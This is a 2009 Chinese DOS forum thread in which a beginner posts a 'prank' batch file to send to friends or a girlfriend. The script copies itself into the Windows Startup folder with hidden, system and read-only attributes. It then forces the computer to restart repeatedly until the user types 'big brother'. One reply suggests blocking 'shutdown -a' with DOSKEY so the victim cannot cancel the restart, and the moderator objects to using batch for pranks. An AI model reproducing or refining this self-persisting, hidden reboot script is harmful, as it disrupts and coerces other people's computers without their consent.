中国DOS联盟论坛

China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --
Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
Guest | Log in | Register | Members | Search | China DOS Union
中国DOS联盟论坛
The time now is 2026-08-12 23:57
47,811 topics / 349,897 posts / today 0 new / 48,256 members
DOS批处理 & 脚本技术(批处理室) » Self-made [Prank.BAT]
Printable Version  1,974 / 7
Floor1 hanxiaofeng888 Posted 2009-12-15 16:24
新手上路 Posts 4 Credits 5
Just came into contact with BAT and made a small program by myself for everyone to have fun.
You can send it to your friends or girlfriend heh heh
Let them have to enter a certain word. For example: big brother, husband. dear````
If they don't enter, the computer will be shut down and restarted, and after restarting, they still have to enter. If they don't enter, restart again [hehe, so mean]
Hope experts can also give me some suggestions, see what needs to be modified and improved, thank you.
Copy the following code into Notepad and save it as egao.bat [the name must be correct, otherwise the function won't be realized]
Okay, here's the main text:


@echo off
title Xiaofeng Production
copy egao.bat "%userprofile%\「Start」Menu\Programs\Startup\"
rem Copy this file to the startup menu
attrib +s +h +r "%userprofile%\「Start」Menu\Programs\Startup\egao.bat"
rem Add read-only, system, hidden attributes to the file
COLOR 3f
MODE con COLS=41 LINES=18
rem Modify the color and size of the window
shutdown -r -t 300 -c ""Enter the two characters [big brother] in the left column to cancel the shutdown------------------------You can also enter the pinyin [dage]
rem Start the system to shut down after 300 seconds and the text to display Note: The displayed text can be modified, such as changing big brother to husband

:c
ECHO =========================================
echo Hehe. Say big brother quickly, if you don't say it, your computer will be shut down, say it quickly! !
ECHO =========================================
rem The displayed text Note: Here you can modify it yourself, such as changing it to little darling. Say husband quickly
set /p dage=Please enter


if /i '%dage%'=='big brother' goto a
if /i '%dage%'=='dage' goto a
rem Judge whether the input is correct, if correct, jump to segment a Note: This also needs to be changed


echo Hehe","say quickly, I don't have so much patience
pause
cls
goto c
rem If the input is wrong, return to segment c

:a
echo Haha, enjoyable!
shutdown -a
rem Cancel the shutdown
pause
Floor2 qinchun36 Posted 2009-12-15 16:49
高级用户 Posts 400 Credits 609
Ah, you can write to this level when you just started learning. Not bad. You can notice details and your thinking is clear. Add one point for encouragement! (:lol: Don't think it's little, it's your total assets)
Floor3 HAT Posted 2009-12-15 19:55
版主 Posts 5,017 Credits 9,023
Batch processing is not for pranks. It is suggested that beginners keep a proper mindset.
Floor4 523066680 Posted 2009-12-15 20:43
银牌会员 Posts 1,133 Credits 2,362
Don't know what to do: Forcibly power off and then boot from the Linux desktop, never going back to Windows haha~

YY ends.

[ Last edited by 523066680 on 2009-12-15 at 21:00 ]
Floor5 tslnyys Posted 2009-12-15 21:06
初级用户 Posts 17 Credits 29
Floor6 hanxiaofeng888 Posted 2009-12-15 21:42
新手上路 Posts 4 Credits 5
Thanks to the friend on the 2nd floor.
The moderator is quite serious, heh heh
Floor7 slw218856 Posted 2009-12-15 22:56
初级用户 Posts 75 Credits 133
It would be better if the LZ can use DOSKEY to block SHUTDOWN (DOSKEY SHUTDOWN=123). When entering "大哥", restore SHUTDOWN (DOSKEY SHUTDOWN=) to prevent others from using this SHUTDOWN -A to cancel it by themselves. Hehe, really mischievous!!!
Floor8 541350555 Posted 2009-12-23 11:00
初级用户 Posts 37 Credits 46
"%userprofile%\「Start」Menu\Programs\Startup\"

Can this code be entered directly as an address?
[ Contact the Union admin team - 中国DOS联盟 - Standard version ]
Sponsored by ifanr Inc | © 2001–2023